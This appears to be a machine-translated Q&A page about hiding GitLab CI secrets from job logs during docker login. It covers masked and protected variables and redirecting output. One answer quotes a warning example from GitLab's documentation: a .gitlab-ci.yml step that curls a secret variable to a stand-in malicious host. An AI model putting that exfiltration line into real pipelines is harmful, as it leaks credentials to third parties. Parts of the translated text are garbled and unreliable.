当我在一个阶段(Gitlab管道)中运行bash文件时,它会在日志中显示GitLab秘密值,理想情况下该值不应该显示。如何避免这种情况?
GitLab管线阶段
stage: docker_push
script:
- /home/directory/dockerPush.sh
tags:
- docker
bash文件(dockerPush.sh)内容
docker login --username foo --password ${DOCKER_LOGIN_PASSWORD}
docker push ${IMAGE_NAME}
管道日志
+ docker login --username foo --password Doc49byfe
答案 0 :(得分:2)
答案 1 :(得分:1)
您需要使用“格伦”答案之类的蒙版功能。
但是遮罩功能具有与变量格式相关的一些限制,例如本文档https://docs.gitlab.com/ee/ci/variables/#masked-variable-requirements
如果Gitlab拒绝屏蔽您的变量,则需要在您的Shell脚本中完成该操作。
一种简单的方法是将输出发送到文件(如果您确实需要日志),或者另一种选择是将输出发送到/dev/null
答案 2 :(得分:0)
GitLab中有Group-Level Environmental Variables个可用
您可以定义在管道环境中设置的每个项目或每个组的变量。组级变量存储在存储库之外(不在.gitlab-ci.yml中)。它们被安全地传递到GitLab Runner,这使得它们在管道运行期间可用。 // 我们建议使用组环境变量来存储机密信息(例如密码,SSH密钥和凭据),高级用户:
- 请勿使用外部密钥存储。
- 使用GitLab与HashiCorp Vault的集成。
进一步:
安全性
推送到您的.gitlab-ci.yml文件的恶意代码可能会破坏您的变量,并将其发送到第三方服务器,无论其掩码设置如何。如果管道在受保护的分支或受保护的标签上运行,也可能会损害受保护的变量。
所有对.gitlab-ci.yml进行更改的合并请求都应在进行以下操作之前仔细审查:
在父项目中运行管道以处理从分支项目提交的合并请求。
合并更改。
以下是恶意
.gitlab-ci.yml
的简化示例:
build:
script:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/
关于掩盖
掩码变量(可选):如果选中,则变量的值不会显示在作业日志中。如果该值不满足屏蔽要求,则不会保存该变量。
启用调试跟踪可能会带来严重的安全隐患。输出将包含所有变量和其他任何秘密的内容!输出将上传到GitLab服务器,并在作业日志中显示!
结论:
答案 3 :(得分:-1)
您是否尝试从gitlab管理员面板中添加环境变量,并将变量设置为受保护的?这是一个示例:https://secrethub.io/docs/guides/gitlabci/#provide-credential 最好